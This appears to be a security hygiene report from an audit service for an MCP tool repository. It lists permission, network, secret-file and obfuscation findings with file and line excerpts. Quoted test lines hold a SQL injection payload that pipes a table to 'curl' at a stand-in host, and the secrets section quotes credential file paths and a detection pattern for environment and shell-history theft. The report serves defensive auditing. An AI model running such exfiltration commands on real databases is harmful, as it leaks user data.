MCPAudit

What was checked

Plain notes from the hygiene checks.

• Permissions

  Concern

  can delete files.

  PERMISSION_DELETE_FILES

  mcp_audit_build_backend.py, line 221

  return subprocess.run(

  research/proofos_postgres.py, line 1405

  shutil.rmtree(path, ignore_errors=False)

  research/proofos_postgres.py, line 1720

  process = subprocess.Popen(

  Show more

  research/proofos_postgres.py, line 2184

  def _bounded_process_output(process: subprocess.Popen[bytes], *, timeout: float) -> tuple[str, str]:

  research/test_proofos_postgres.py, line 168

  result = subprocess.run(

  research/test_proofos_postgres.py, line 786

  process = subprocess.Popen(

  scripts/launch_preflight.py, line 415

  return subprocess.run(args, capture_output=True, text=True, check=False)

  scripts/run_action.py, line 48

  result = subprocess.run(["mcp-audit", "check", "--help"], capture_output=True, text=True)

  scripts/run_action.py, line 154

  code = subprocess.run(command).returncode

  src/mcp_audit/pin_signing.py, line 371

  shutil.rmtree(staging_dir)

  src/mcp_audit/proof_observer.py, line 1644

  shutil.rmtree(root, ignore_errors=True)

  src/mcp_audit/safeforge_runtime.py, line 154

  shutil.rmtree(root, ignore_errors=True)

  src/mcp_audit/safeforge_runtime.py, line 318

  shutil.rmtree(root / "seed-venv", ignore_errors=True)

• Install and update

  Pass

  No install-time script found, and dependencies are pinned or absent.

• Network

  Concern

  can reach example.test. The description does not name that host. can reach a host that is not written as a fixed address.

  NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

  research/test_proofos_postgres.py, line 222

  sql = "COPY app.accounts TO PROGRAM 'curl https://example.test';"

  research/test_proofos_postgres.py, line 251

  rollback = "COPY app.accounts TO PROGRAM 'curl https://example.test';"

  scripts/check_advisories.py, line 109

  with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response:

  Show more

  scripts/launch_preflight.py, line 276

  with urllib.request.urlopen(request, timeout=15) as response:

  scripts/launch_preflight.py, line 387

  with urllib.request.urlopen(request, timeout=20) as response:

  src/mcp_audit/connector.py, line 410

  page = await fetch(cursor=cursor, cache_mode="bypass")

  src/mcp_audit/pkgverify.py, line 259

  with urllib.request.urlopen(req, timeout=_TIMEOUT) as resp: # noqa: S310 (https only)

  src/mcp_audit/probe.py, line 401

  async def fetch(self, url: str) -> dict[str, object] | None:

• Secrets

  Concern

  reads a credential or environment file.

  SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV

  src/mcp_audit/engine.py, line 433

  api_key = os.environ.get("ANTHROPIC_API_KEY", "")

  src/mcp_audit/injection.py, line 105

  r"|\b(?:os\.environ|process\.env|environment variables?|env vars?|shell history)\b)",

  src/mcp_audit/integrity.py, line 86

  (e.g. ``--token-file ~/.aws/credentials``), but even their SHA-256 should not

  Show more

  src/mcp_audit/integrity.py, line 98

  home / ".netrc",

  src/mcp_audit/pinning.py, line 211

  environment_key = os.environ.get("MCP_AUDIT_PIN_KEY")

  src/mcp_audit/proof_observer.py, line 58

  ".env",

  src/mcp_audit/proof_observer.py, line 59

  ".netrc",

  src/mcp_audit/proof_observer.py, line 60

  ".npmrc",

  src/mcp_audit/proof_observer.py, line 62

  "credentials.json",

  src/mcp_audit/proof_observer.py, line 66

  "id_rsa",

• Agent instructions

  Pass

  No instruction to ignore earlier instructions or to hide a step.

• Obfuscation

  Note

  a file was over the read cap and was not fully read. the file cap was reached before every file was read.

  OBFUSCATION_FILE_OVER_READ_CAP OBFUSCATION_FILE_CAP_REACHED

  uv.lock, line 1

  version = 1

  tests/test_report.py, line 1

  """Tests for ReportGenerator - terminal and JSON output."""

• Licence

  Pass

  A licence file is present (LICENSE).

• Maintainer activity

  Pass

  The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit 28ef3118dca0. can delete files. can reach example.test. The description does not name that host. can reach a host that is not written as a fixed address. reads a credential or environment file. a file was over the read cap and was not fully read. the file cap was reached before every file was read.

Date and source

Date checked: 23 Oct 2026

Read how this letter is chosen